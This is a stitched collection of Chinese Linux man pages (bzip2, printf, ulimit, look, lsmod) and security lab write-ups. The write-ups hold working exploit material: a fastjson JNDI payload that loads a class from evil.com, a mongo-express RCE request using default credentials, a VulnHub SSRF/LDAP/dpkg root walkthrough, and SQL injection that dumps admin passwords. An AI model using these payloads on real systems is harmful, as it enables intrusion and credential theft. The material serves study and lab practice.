\" 中文版版权所有 Liu JingSong, www.linuxforum.net 2000 \" 本文档可在遵照LDP GENERAL PUBLIC LICENSE,Version 1, September 1998 \" 中描述的条件下进行复制,且该文件发布时必须包含该文档. \" .TH bzip2 1 .SH NAME 命令名 .br bzip2, bunzip2 \- 一种块排序文件压缩软件,v0.9.5 .br bzcat \- 将文件解压缩至标准输出 .br bzip2recover \- 恢复损坏的 bzip2 文件 .SH 总览 .ll +8 .B bzip2 .RB [ " \-cdfkqstvzVL123456789 " ] [ .I "filenames \&..." ] .br .ll -8 .B bunzip2 .RB [ " \-fkvsVL " ] [ .I "filenames \&..." ] .br .B bzcat .RB [ " \-s " ] [ .I "filenames \&..." ] .br .B bzip2recover .I "filename" .SH 描述 .I bzip2 采用 Burrows-Wheeler 块排序文本压缩算法和 Huffman 编码方式压缩文件。 压缩率一般比基于 LZ77/LZ78 的压缩软件好得多,其性能接近 PPM 族统计类 压缩软件。 命令行参数有意设计为非常接近 .I GNU gzip 的形式,但也不完全相同。 .I bzip2 从命令行读入文件名和参数。 每个文件被名为 "原始文件名.bz2" 的压缩文件替换。 每个压缩文件具有与原文件相同的修改时间、 权限, 如果可能的话, 还具有相同的属主, 因此在解压缩时这些特性将正确地恢复。 在某些文件系统中, 没有权限、 属主或时间的概念, 或者对文件名的长度有严格限制, 例如 MSDOS, 在这种情况下,bzip2 没有保持原文件名、 属主、 权限以及时间的机制, 从这个意义上说,bzip2 对文件名的处理是幼稚的。 .I bzip2 和 .I bunzip2 在缺省情况下不覆盖已有的文件。 如果想覆盖已有的文件,要指定 \-f 选项。 如果未指定文件名, .I bzip2 将压缩来自标准输入的数据并写往标准输出。在这种情况下, .I bzip2 会拒绝将压缩结果写往终端,因为这完全无法理解并且是没有意义的。 .I bunzip2 (以及 .I bzip2 \-d) 对所有指定的文件进行解压缩处理。不是由 .I bzip2 产生的文件将被忽略,同时发出一个警告信息。 .I bzip2 按下列方式由压缩文件名确定解压后的文件名: filename.bz2 解压成 filename filename.bz 解压成 filename filename.tbz2 解压成 filename.tar filename.tbz 解压成 filename.tar anyothername 解压成 anyothername.out 如果文件名的后缀不是下列之一: .I .bz2, .I .bz, .I .tbz2 或 .I .tbz, .I .bzip2 将抱怨无法确定原始文件名,并采用原文件名加 .I .out 作为解压缩文件名。 在压缩时,如果不提供文件名,bzip2 将从标准输入读取数据,压缩结果写往标准输出。 .I bunzip2 能够正确地解压由两个或更多个压缩文件连在一起的文件。 解压的结果为相应的连在一起的未压缩文件。 bzip2 也支持对连在一起的压缩文件的完整性检查(\-t选项)。 同样可采用 \-c 选项将文件压缩或解压缩至标准输出。 多个文件可通过这种方式压缩或解压缩。 输出结果被依次送往标准输出。 采用这种方式对多个文件的压缩将生成包含 多个压缩文件的数据流。这样的数据流只能被 0.9.0 版或其后续版本的 .I bzip2 正确解压。较早版本的 .I bzip2 会在解压完第一个文件之后停止。 .I bzcat (或 .I bzip2 -dc) 将所有指定文件解压缩至标准输出。 .I bzip2 可从环境变量 .I BZIP2 和 .I BZIP 中依次读取参数, 并在命令行参数之前对其进行处理。 这是提供缺省选项的方便途径。 即使压缩后的文件略大于原文件, 压缩也总是照样进行。 小于大约 100 字节的文件压缩后倾向于变大, 因为会有一个 50 字节的数据头。 对于随机数据 (包括大多数压缩软 件的输出), 大约每字节压成 8.05 位, 放大率约为 0.5%。 .I bzip2 采用 32 位 CRC 校验码作自我检查,以确认解压后的文件与原始文件相同。 这可用于检测压缩文件是否损坏,并防止 .I bzip2 中未知的缺陷(运气好的话这种可能性非常小)。 数据损坏而未检测到的几率非常之小, 对于每个被处理的文件大约是四十亿分之一。 检查是在解压缩时进行的, 因此它只能说明某个地方出问题了。 它能帮助恢复原始未压缩的数据。可以用 .I bzip2recover 来尝试从损坏的文件中恢复数据。 返回值:正常退出返回 0, 出现环境问题返回 1 (文件未找到,非法的选项,I/O错误等), 返回 2 表明压缩文件损坏,出现导致 .I bzip2 紧急退出的内部一致性错误(例如缺陷)时返回 3。 .SH 选项 .TP .B \-c --stdout 将数据压缩或解压缩至标准输出。 .TP .B \-d --decompress 强制解压缩。 .I bzip2, .I bunzip2 以及 .I bzcat 实际上是同一个程序,进行何种操作将根据程序名确定。 指定该选项后将不考虑这一机制,强制 .I bzip2 进行解压缩。 .TP .B \-z --compress \-d 选项的补充:强制进行压缩操作,而不管执行的是哪个程序。 .TP .B \-t --test 检查指定文件的完整性,但并不对其解压缩。 实际上将对数据进行实验性的解压缩操作,而不输出结果。 .TP .B \-f --force 强制覆盖输出文件。通常 .I bzip2 不会覆盖已经存在的文件。该选项还强制 .I bzip2 打破文件的硬连接,缺省情况下 bzip2 不会这么做。 .TP .B \-k --keep 在压缩或解压缩时保留输入文件(不删除这些文件)。 .TP .B \-s --small 在压缩、 解压缩及检查时减少内存用量。 采用一种修正的算法进行压缩和测试, 每个数据块仅需要 2.5 个字节。 这意味着任何文件都可以在 2300k 的内存中进行解压缩, 尽管速度只有通常情况下的一半。 在压缩时,\-s将选定 200k 的块长度,内存用量也限制在 200k 左右, 代价是压缩率会降低。 总之,如果机器的内存较少(8兆字节或更少), 可对所有操作都采用\-s选项。参见下面的内存管理。 .TP .B \-q --quiet 压制不重要的警告信息。属于 I/O 错误及其它严重事件的信息将不会被压制。 .TP .B \-v --verbose 详尽模式 -- 显示每个被处理文件的压缩率。 命令行中更多的 \-v 选项将增加详细的程度, 使 bzip2 显示出许多主要用于诊断目的信息。 .TP .B \-L --license -V --version 显示软件版本,许可证条款及条件。 .TP .B \-1 to \-9 在压缩时将块长度设为 100 k、200 k .. 900 k。 对解压缩没有影响。参见下面的内存管理。 .TP .B \-- 将所有后面的命令行变量看作文件名,即使这些变量以减号"-"打头。 可用这一选项处理以减号"-"打头的文件名, 例如:bzip2 \-- \-myfilename. .TP .B \--repetitive-fast --repetitive-best 这些选项在 0.9.5 及其以上版本中是多余的。 在较早的版本中,这两个选项对排序算法 的行为提供了一些粗糙的控制,有些情况下很有用。 0.9.5 及其以上版本采用了改进的算法而与这些选项无关。 .SH 内存管理 .I bzip2 按照数据块压缩大文件。 数据块长度同时影响数据的压缩率和压缩及解压缩时需要 的内存用量。 选项 \-1 至 \-9 将数据块长度分别指定为 100,000 字节至 900,000(缺省)字节。 在解压缩时, 压缩时使用的块长度从压缩文件的头中读取, 同时 .I bunzip2 分配出刚好够用的内存对文件进行解压缩。 由于数据块长度保存在压缩文件中, 所以在解压缩时不需要 \-1 至 \-9 这些选项, 因而将被忽略。 可以按下面的公式估计压缩和解压缩时的内存用量,单位为字节: 压缩: 400k + ( 8 x 数据块长度 ) 解压缩: 100k + ( 4 x 数据块长度 ), 或 100k + ( 2.5 x 数据块长度 ) 大数据块长度产生迅速缩小的临界返回 (give rapidly diminishing marginal returns)。 在小机器上使用 .I bzip2 时, 一个值得记住的事实是, 大多数压缩来自数据块长度的前 200 或 300k。 另外重要的一点是, 解压缩时内存的需要量是在压缩时用块长度选项设定的。 对于缺省用 900k 的数据块长度压缩的文件, .I bunzip2 大约需要 3700k 字节的内存进行解压缩。为支持一台 4MB 机器上任何文件的解压缩, .I bunzip2 有一个选项大约只需一半容量的内存,约 2300k 字节。 解压缩速度同样也降低一半。 因此应该只在需要时采用该选项。相应的选项标志为 \-s。 一般来说,应尽量采用内存允许的最大数据块长度, 因为这能达到最好的压缩率, 压缩和解压缩速度实质上不受块长度的影响。 另一个值得注意的问题是关于小于一个数据块长度的文件的, 也就是说, 所遇到的 大多数文件使用一个大数据块。 由于文件长度小于一个数据块长度, 实际使用到的内存与文件长度成正比。 例如,采用 \-9 选项压缩一个 20,000 字节的文件时, 将分配 7600k 的内存, 但其中只用到了 400k+20000*8=560k 字节。同样地,在解压缩时将分配 3700k 内存,但只用到 100k + 20000 * 4 = 180 k 字节。 下表总结了不同数据块长度下的内存用量。同时列出的还有 Calgary 文本压缩语料 库中的 14 个文件的压缩长度,这 14 个文件压缩前总长度为 3,141,622 字节。 这些数据显示了压缩率是如何随数据块长度变化的。 由于这一语料库主要由小文件组成, 所以这些数字并没有充分体现出大文件情况下, 采用大数据块所能达到的较高压缩率的优势。 压缩时 解压缩 解压缩 -s 语料库文件 Flag 内存用量 内存用量 选项内存用量 压缩长度 -1 1200k 500k 350k 914704 -2 2000k 900k 600k 877703 -3 2800k 1300k 850k 860338 -4 3600k 1700k 1100k 846899 -5 4400k 2100k 1350k 845160 -6 5200k 2500k 1600k 838626 -7 6100k 2900k 1850k 834096 -8 6800k 3300k 2100k 828642 -9 7600k 3700k 2350k 828642 .SH 从损坏的文件中恢复数据 .I bzip2 按数据块对数据进行压缩,数据块长度通常为 900k 字节。每个数据块被独立地处理。 如果由于介质或传输错误导致多数据块的 .bz2 文件损坏,有可能将文件中未损坏的 数据块中的数据恢复。 压缩后的数据块以一个 48 位的结构分界,因而有可能在合理的范围内找到块边界。 每个数据块也带着自己的 32 位 CRC 校验码,因此可以区分损坏与未损坏的数据块。 .I bzip2recover 是一个简单的程序,它的功能是在 .bz2 文件中寻找数据块,并将每个数据块写到 自己的 .bz2 文件中。然后可以用 .I bzip2 \-t 测试结果的完整性,将未损坏的部分解压缩。 .I bzip2recover 只有一个命令行变量,即损坏文件的名字。输出结果是一系列象 "rec0001file.bz2"、 "rec0002file.bz2" 这样的文件, 每个文件含有从损坏文件中找出的数据块。 输出文件名设计为在接下来的处理中可方便地使用通配符, 例如,"bzip2 -dc rec*file.bz2>recovered_data",可按正确的次序列出文件。 .I bzip2recover 在处理大文件时最有用, 因为大文件含有很多数据块。 显然用它处理单个数据块的损坏文件不会有任何结果, 因为一个损坏的数据块是无法恢复的。 如果想尽量减少潜在的由于介质及传输错误导致的数据损坏, 可以考虑采用较小的数据块长度进行压缩。 .SH 有关性能的注解 在压缩的排序阶段, 相似的字符串将被聚集在一起。 因此, 对于包含很长重复符号 的文件, 例如象 "aabaabaabaab......" 这样的字符串(重复几百次), 压缩速度会 比通常情况慢得多。 0.9.5 及其以上版本在处理这样的重复时, 速度比以前版本提高 了很多。 最坏情况与平均情况下的压缩时间之比约为 10:1。 对于以前的版本, 这一数字大约是 100:1 以上。你如果愿意, 可采用 \-vvvv 选项来非常详细地监视这一过程。 解压缩速度并不受这些现象的影响。 .I bzip2 通常分配出几兆字节的内存用于处理数据, 对这些内存的访问是以相当随机的方式 进行的。 这意味着, 压缩及解压缩的性能在很大程度上取决于机器上处理高速缓存 未命中的速度。 因此, 已经观察到对程序作很小的减少失败率的改动会导致不成比例的很大的性能 上的提升。 我设想 .I bzip2 在有大量高速缓存机器上的性能最佳。 .SH 警告 I/O 错误信息并不是很有用。 .I bzip2 会尽量探测 I/O 错误信息并干净地退出, 但问题的细节有时看上去很容易引起误解。 本手册页适用于 0.9.5 版的 .I bzip2。 由这一版本的 bzip2 产生的压缩数据与以前的公开版本 0.1pl2、0.9.0 完全兼容, 但有一个例外:0.9.0 及其以上版本能正确解压缩多个连在一起的压缩文件,0.1pl2 则不能, 它将在解压缩完数据流中的第一个文件之后停止。 .I bzip2recover 采用 32 位的整型数表示压缩文件中位的位置, 因此它无法处理大于 512 兆字节的文件。 但这一问题很容易解决。 .SH 作者 Julian Seward, jseward@acm.org. http://www.muraroa.demon.co.uk .I bzip2 包含的想法及概念至少归功于下列人员: Michael Burrows 和 David Wheeler(块排序变换), David Wheeler(Huffman 编码器), Peter Fenwick(原始 bzip 的结构编程模型及许多改进),Alistair Moffat、 Ian Witten(原始 bzip 中的算法编码)。 我非常感激他们的帮助、 支持以及建议。 参见源发布的手册中有关文档来源中的线索。 Christian von Roques 曾鼓励我寻找更快的排序算法, 以提高压缩速度。 bela Lubkin 曾鼓励我改进最坏情况下的压缩性能。 很多人给我发来修补程序, 帮助解决移植问题, 租借机器,提出建议等。 .SH "[中文版维护人]" .B Liu JingSong <js-liu@263.net> .SH "[中文版最新更新]" 2001/01/31 .SH "[中国 Linux 论坛 man 手册页翻译计划]" .BI http://cmpp.linuxforum.net
sec-knowleage
ulimit === 控制shell程序的资源 ## 补充说明 **ulimit命令** 用来限制系统用户对shell资源的访问。如果不懂什么意思,下面一段内容可以帮助你理解: 假设有这样一种情况,当一台 Linux 主机上同时登陆了 10 个人,在系统资源无限制的情况下,这 10 个用户同时打开了 500 个文档,而假设每个文档的大小有 10M,这时系统的内存资源就会受到巨大的挑战。 而实际应用的环境要比这种假设复杂的多,例如在一个嵌入式开发环境中,各方面的资源都是非常紧缺的,对于开启文件描述符的数量,分配堆栈的大 小,CPU 时间,虚拟内存大小,等等,都有非常严格的要求。资源的合理限制和分配,不仅仅是保证系统可用性的必要条件,也与系统上软件运行的性能有着密不可分的联 系。这时,ulimit 可以起到很大的作用,它是一种简单并且有效的实现资源限制的方式。 ulimit 用于限制 shell 启动进程所占用的资源,支持以下各种类型的限制:所创建的内核文件的大小、进程数据块的大小、Shell 进程创建文件的大小、内存锁住的大小、常驻内存集的大小、打开文件描述符的数量、分配堆栈的最大大小、CPU 时间、单个用户的最大线程数、Shell 进程所能使用的最大虚拟内存。同时,它支持硬资源和软资源的限制。 作为临时限制,ulimit 可以作用于通过使用其命令登录的 shell 会话,在会话终止时便结束限制,并不影响于其他 shell 会话。而对于长期的固定限制,ulimit 命令语句又可以被添加到由登录 shell 读取的文件中,作用于特定的 shell 用户。 ### 语法 ```shell ulimit(选项) ``` ### 选项 ```shell -a:显示目前资源限制的设定; -c <core文件上限>:设定core文件的最大值,单位为区块; -d <数据节区大小>:程序数据节区的最大值,单位为KB; -e 默认进程优先级, 值越小优先级越高 -f <文件大小>:shell所能建立的最大文件,单位为区块; -H:设定资源的硬性限制,也就是管理员所设下的限制; -m <内存大小>:指定可使用内存的上限,单位为KB; -n <文件数目>:指定同一时间最多可开启的文件数; -p <缓冲区大小>:指定管道缓冲区的大小,单位512字节; -s <堆叠大小>:指定堆叠的上限,单位为KB; -S:设定资源的弹性限制; -t <CPU时间>:指定CPU使用时间的上限,单位为秒; -u <程序数目>:用户最多可开启的程序数目; -v <虚拟内存大小>:指定可使用的虚拟内存上限,单位为KB。 ``` ### 实例 ```shell [root@localhost ~]# ulimit -a core file size (blocks, -c) 0 #core文件的最大值为100 blocks。 data seg size (kbytes, -d) unlimited #进程的数据段可以任意大。 scheduling priority (-e) 0 file size (blocks, -f) unlimited #文件可以任意大。 pending signals (-i) 98304 #最多有98304个待处理的信号。 max locked memory (kbytes, -l) 32 #一个任务锁住的物理内存的最大值为32KB。 max memory size (kbytes, -m) unlimited #一个任务的常驻物理内存的最大值。 open files (-n) 1024 #一个任务最多可以同时打开1024的文件。 pipe size (512 bytes, -p) 8 #管道的最大空间为4096字节。 POSIX message queues (bytes, -q) 819200 #POSIX的消息队列的最大值为819200字节。 real-time priority (-r) 0 stack size (kbytes, -s) 10240 #进程的栈的最大值为10240字节。 cpu time (seconds, -t) unlimited #进程使用的CPU时间。 max user processes (-u) 98304 #当前用户同时打开的进程(包括线程)的最大个数为98304。 virtual memory (kbytes, -v) unlimited #没有限制进程的最大地址空间。 file locks (-x) unlimited #所能锁住的文件的最大个数没有限制。 ```
sec-knowleage
# fastjson 1.2.24 反序列化导致任意命令执行漏洞 fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。 参考资料: - https://www.freebuf.com/vuls/208339.html - http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/ ## 漏洞环境 运行测试环境: ``` docker compose up -d ``` 环境运行后,访问`http://your-ip:8090`即可看到JSON格式的输出。 我们向这个地址POST一个JSON对象,即可更新服务端的信息: ``` curl http://your-ip:8090/ -H "Content-Type: application/json" --data '{"name":"hello", "age":20}' ``` ## 漏洞复现 因为目标环境是Java 8u102,没有`com.sun.jndi.rmi.object.trustURLCodebase`的限制,我们可以使用`com.sun.rowset.JdbcRowSetImpl`的利用链,借助JNDI注入来执行命令。 首先编译并上传命令执行代码,如`http://evil.com/TouchFile.class`: ```java // javac TouchFile.java import java.lang.Runtime; import java.lang.Process; public class TouchFile { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"touch", "/tmp/success"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } } } ``` 然后我们借助[marshalsec](https://github.com/mbechler/marshalsec)项目,启动一个RMI服务器,监听9999端口,并制定加载远程类`TouchFile.class`: ```shell java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://evil.com/#TouchFile" 9999 ``` 向靶场服务器发送Payload,带上RMI的地址: ``` POST / HTTP/1.1 Host: your-ip:8090 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json Content-Length: 160 { "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://evil.com:9999/TouchFile", "autoCommit":true } } ``` 可见,命令`touch /tmp/success`已成功执行: ![](1.png)
sec-knowleage
look === 显示文件中以指定字符串开头的任意行 ## 补充说明 **look命令** 用于显示文件中以指定字符串开头的任意行。 ### 语法 ```shell look(选项)(参数) ``` ### 选项 ```shell -a:使用另一个字典文件web2,该文件也位于/usr/dict目录下; -d:只对比英文字母和数字,其余一概忽略不予比对; -f:忽略字符大小写差别; -t<字尾字符串>:设置字尾字符串。 ``` ### 参数 * 字符串:指定要查找的字符串; * 文件:指定要查找的目标文件。
sec-knowleage
lsmod === 显示已载入系统的模块 ## 补充说明 **lsmod命令** 用于显示已经加载到内核中的模块的状态信息。执行lsmod命令后会列出所有已载入系统的模块。Linux操作系统的核心具有模块化的特性,应此在编译核心时,务须把全部的功能都放入核心。您可以将这些功能编译成一个个单独的模块,待需要时再分别载入。 ### 语法 ```shell lsmod ``` ### 实例 ```shell [root@LinServ-1 ~]# lsmod Module Size Used by ipv6 272801 15 xfrm_nalgo 13381 1 ipv6 crypto_api 12609 1 xfrm_nalgo ip_conntrack_ftp 11569 0 xt_limit 6721 2 xt_state 6209 2 ip_conntrack 53665 2 ip_conntrack_ftp,xt_state nfnetlink 10713 1 ip_conntrack xt_tcpudp 7105 6 xt_multiport 7233 1 iptable_filter 7105 1 ip_tables 17029 1 iptable_filter x_tables 17349 5 xt_limit,xt_state,xt_tcpudp,xt_multiport,ip_tables dm_mirror 24393 0 dm_multipath 27213 0 scsi_dh 12481 1 dm_multipath video 21193 0 backlight 10049 1 video sbs 18533 0 power_meter 16461 0 hwmon 7365 1 power_meter i2c_ec 9025 1 sbs dell_wmi 8401 0 wmi 12137 1 dell_wmi button 10705 0 battery 13637 0 asus_acpi 19289 0 ac 9157 0 lp 15849 0 snd_hda_intel 401453 0 snd_seq_dummy 7877 0 snd_seq_oss 32577 0 snd_seq_midi_event 11073 1 snd_seq_oss snd_seq 49585 5 snd_seq_dummy,snd_seq_oss,snd_seq_midi_event snd_seq_device 11725 3 snd_seq_dummy,snd_seq_oss,snd_seq snd_pcm_oss 42817 0 snd_mixer_oss 19009 1 snd_pcm_oss snd_pcm 72517 2 snd_hda_intel,snd_pcm_oss ide_cd 40161 0 snd_timer 24517 2 snd_seq,snd_pcm tpm_tis 16713 0 r8169 43077 0 snd_page_alloc 14281 2 snd_hda_intel,snd_pcm tpm 19041 1 tpm_tis i2c_i801 12737 0 mii 9409 1 r8169 serio_raw 10693 0 i2c_core 24897 2 i2c_ec,i2c_i801 snd_hwdep 12869 1 snd_hda_intel tpm_bios 11073 1 tpm cdrom 36577 1 ide_cd pcspkr 7105 0 parport_pc 29669 1 sg 36973 0 snd 57797 9 snd_hda_intel,snd_seq_oss,snd_seq,snd_seq_device,snd_pcm_oss,snd_mixer_oss,snd_pcm,snd_timer,snd_hwdep parport 37513 2 lp,parport_pc soundcore 11553 1 snd dm_raid45 67273 0 dm_message 6977 1 dm_raid45 dm_region_hash 15681 1 dm_raid45 dm_log 14785 3 dm_mirror,dm_raid45,dm_region_hash dm_mod 63993 4 dm_mirror,dm_multipath,dm_raid45,dm_log dm_mem_cache 9537 1 dm_raid45 ata_piix 23749 4 libata 158085 1 ata_piix sd_mod 25409 6 scsi_mod 144277 4 scsi_dh,sg,libata,sd_mod ext3 126281 3 jbd 57705 1 ext3 uhci_hcd 25421 0 ohci_hcd 24937 0 ehci_hcd 34509 0 ``` * 第1列:表示模块的名称。 * 第2列:表示模块的大小。 * 第3列:表示依赖模块的个数。 * 第4列:表示依赖模块的内容。 通常在使用lsmod命令时,都会采用类似`lsmod | grep -i ext3`这样的命令来查询当前系统是否加载了某些模块。
sec-knowleage
# symfonos5-WalkThrough --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- **靶机地址** - https://www.vulnhub.com/entry/symfonos-5,415/ **Description** Beginner real life based machine designed to teach people the importance of understanding from the interior. Tested on VMware and Virtualbox **知识点** - ssrf - ldap - dpkg 提权 **实验环境** `环境仅供参考` - VMware® Workstation 15 Pro - 15.0.0 build-10134415 - kali : NAT 模式,192.168.141.134 - 靶机 : NAT 模式 --- # 前期-信息收集 开始进行 IP 探活 ```bash nmap -sP 192.168.141.0/24 ``` 排除法,去掉自己、宿主机、网关, `192.168.141.151` 就是目标了 扫描开放端口 ```bash nmap -T5 -A -v -p- 192.168.141.151 ``` SSH、web、ldap,ldap 一般比较少见,先从熟悉的 web 开始把 老样子,啥都没有,爆破目录,字典自 https://github.com/ffffffff0x/AboutSecurity/blob/master/Dic/Web/Directory/fast-scan.txt ```bash ./gobuster dir -u 192.168.141.151 -w fast-scan.txt ``` 访问下这个 admin.php 和 home.php home.php 会将我重定向到 admin.php,看看 html 源码 ``` curl http://192.168.141.151/home.php ``` 这个熟悉的 127.0.0.1 看上去是 ssrf 啊,读文件试试 # 中期-漏洞利用 ``` curl http://192.168.141.151/home.php\?url\=file:///etc/passwd ``` 尝试读 admin.php 的源码 ``` curl http://192.168.141.151/home.php\?url\=file:///var/www/html/admin.php ``` 看上去是 LDAP 的凭证。 ldap管理工具有 ldapadmin,JXplorer 等,这里就用 ladpadmin 测试了 访问 https://sourceforge.net/projects/ldapadmin/ 下载安装包,我下的是windows版的,就不演示 linux 平台了 连接后可以看到有个 zeus 用户和其密码 SSH 连接上去,寻找提权的方法 --- # 后期-提权 ``` sudo -l ``` dpkg 以 root 权限运行,上 https://gtfobins.github.io/ 找下 dpkg 相关的内容 在 kali 上运行 ``` gem install --no-document fpm TF=$(mktemp -d) echo 'exec /bin/sh' > $TF/x.sh fpm -n x -s dir -t deb -a all --before-install $TF/x.sh $TF python -m SimpleHTTPServer 8080 ``` 完成后靶机下载POC ``` wget 192.168.141.134:8080/x_1.0_all.deb sudo dpkg -i x_1.0_all.deb ``` 提权成功,感谢靶机作者 Zayotic,和 mzfr 分享的 writeup
sec-knowleage
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5. .\"******************************************************************* .\" .\" This file was generated with po4a. Translate the source file. .\" .\"******************************************************************* .TH PRINTF 1 2022年9月 "GNU coreutils 9.1" 用户命令 .SH 名称 printf \- 格式化并显示数据 .SH 概述 \fBprintf\fP \fI\,格式\/\fP[\fI\,参数列表\/\fP]... .br \fBprintf\fP \fI\,选项\/\fP .SH 描述 .\" Add any additional description here .PP 按照指定格式打印参数列表中的参数或按照选项执行: .TP \fB\-\-help\fP 显示此帮助信息并退出 .TP \fB\-\-version\fP 显示版本信息并退出 .PP \fI格式\fP以 C printf 的方式控制输出。转义序列如下: .TP \e" 双引号 .TP \e\e 反斜线 .TP \ea 报警符(BEL) .TP \eb 退格符 .TP \ec 禁止尾随的换行符 .TP \ee escape 字符 .TP \ef 换页符 .TP \en 另起一行 .TP \er 回到行首 .TP \et 水平制表符 .TP \ev 垂直制表符 .TP \eNNN 字节数以八进制数 NNN (1至3位)表示 .TP \exHH 字节数以十六进制数 HH (1至2位)表示 .TP \euHHHH Unicode (ISO/IEC 10646) 字符,是 16进制值 HHHH(4位) .TP \eUHHHHHHHH Unicode 字符,是 16进制值 HHHHHHHH(8位) .TP %% 单个 % .TP %b 参数列表作为字符串,其中 '\e' 字符被转义,除了八进制转义格式变为 \e0 或 \e0NNN .TP %q 参数列表以一种可被 shell 输出重新读取的格式进行输出,并使用建议的 POSIX $\*(rq 语法对不可打印字符进行转义。 .PP 并且所有 C 格式规范的转义将由 diouxXfeEgGcs 中的某个字符作为结束,且“参数列表”将被首先转换为适当的格式。变量宽度声明也会被处理。 .PP 注意:您的 shell 可能内置了自己的 printf 程序版本,它通常会覆盖这里所提及的相应版本。请查阅您的 shell 文档获知它所支持的选项。 .SH 作者 由 David MacKenzie 编写。 .SH 报告错误 GNU coreutils 的在线帮助: <https://www.gnu.org/software/coreutils/> .br 请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误。 .SH 版权 Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>. .br This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. .SH 参见 \fBprintf\fP(3) .PP .br 完整文档请见: <https://www.gnu.org/software/coreutils/printf> .br 或者在本地使用: info \(aq(coreutils) printf invocation\(aq
sec-knowleage
# mongo-express 远程代码执行漏洞(CVE-2019-10758) mongo-express是一款mongodb的第三方Web界面,使用node和express开发。如果攻击者可以成功登录,或者目标服务器没有修改默认的账号密码(`admin:pass`),则可以执行任意node.js代码。 ## 漏洞环境 执行如下命令启动一个0.53.0版本的mongo-express: ```bash docker compose up -d ``` 环境启动后,访问`http://your-ip:8081`即可查看到Web页面。 ## 漏洞复现 直接发送如下数据包,即可执行代码`this.constructor.constructor("return process")().mainModule.require("child_process").execSync("touch /tmp/success")`: ``` POST /checkValid HTTP/1.1 Host: your-ip Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Authorization: Basic YWRtaW46cGFzcw== Content-Type: application/x-www-form-urlencoded Content-Length: 124 document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("touch /tmp/success") ``` ![](1.png)
sec-knowleage
# Writeup Whitehat CTF GP 2016 Team: nazywam, c7f.m0d3, akrasuski1, cr019283, shalom ### Table of contents * [Banh can / Hello (web)](hello)
sec-knowleage
## Delphi 代码审计 -- 项目实战1 ### 1、Function & Procedure Delphi 把操作数据的方法分成了两种,一种是 function,另一种是 procedure,大致理解为“函数”和“过程”。 Procedure 类似 C 语言中的无返回值函数,即 VOID。而 Function 就是 C 语言中的有返回值函数,即没有 Void。 ![](media/21e65a213b1774c59d03619cb69683b4.jpg) ### 2、连接数据库 程序分为两种连接数据库模式: ![](media/080d91e0679721483224a0d29b818c61.jpg) 无论是本地模式,还是联网模式,都是读取,当前路径的 config.ini 配置文件: <font color=red> (导致敏感信息暴漏,可直连服务器) </font> ![](media/00335e7c032c10d239df4a1c64a1543e.jpg) 继续跟数据库连接:配合SQL Server数据库,直接带入,可以判断出为明文存储。 ![](media/f0281f9b417bfcff8962a51f84f410b3.jpg) ### 3、config.ini config.ini 配置如下: ![](media/7a7ab42ea759160c062a56d2c4f1cc88.jpg) ### 4、C/S 交互过程 基于TCP通信,SQL Server通信构架大致如下: <font color=red> (可导致通信过程中抓取明文执行) </font> ![](media/109415886494f35eb1abb0dc65e1ea4a.jpg) ### 5、SQL 注入 代入执行:<font color=red>(导致可拼接sql语句,查询任意语句或者执行命令)</font> ![](media/f2d2fa55ca7000f6ac4e2a7f35096223.jpg) ![](media/9c7cde20e5b9f00367d3e9e6742795bd.jpg) 部分语句其中如下: ```sql select distinct memberid,receivecompany from weigh where receivecompany is not null and receivecompany like ''%'+xxxxxx+'%'' ``` ### 6、Client 软件呈现如下: ![](media/fb920104b40786b665ab4f54efcc7f45.jpg) ### 7、构造 SQL 语句 对应收货单位编号,以及收货单位名称。分别为:`memberid`, `receivecompany`。闭合语句为: ```sql 2' ; select loginid as memberid , password as receivecompany from sysuser -- ``` ![](media/3fe1f0dff1f17524e03aa152e59172b2.jpg) 抓取返回如图: * 得到admin 账号以及密码。 ![](media/0832ba025e9189a7099cd2e4dc368152.jpg) * 构造读取远程桌面端口号:得到远程服务器端口号 ```sql 2' ; EXEC master..xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp', 'PortNumber' -- ``` ### 8、获取缓冲区内容 copy 获取缓冲区内容:<font color=red> (导致可从服务器端构造代码)</font> ![](media/12eae8dd1c87a5e9f14244f5c7b4eb70.jpg) copy 用法如下: > copy(a,b,c); >a:就是copy源,就是一个字符串,表示你将要从a里copy一些东西; >b:从a中的第b位开始copy(包含第11位); >c:copy从第b位开始后的c个字符, >exp: m:=‘the test fuck' > s:=copy(m,2,2); //s值为‘he’ 当超出范围,会发生异常错误。实例中,从服务器数据库获取数据后进行 copy。 软件登陆部分代码如下:<font color=red>(导致可自动化跑 loginid。)</font> ![](media/24734f4bbaa74f862cfbcac3b53faf83.jpg) 多次尝试错误处理如下:退出软件,并且重新开始计算。 ![](media/4ec9526c01770e2d5f17c9cc9a76b26b.jpg) <p align="right">--By Micropoor </p>
sec-knowleage
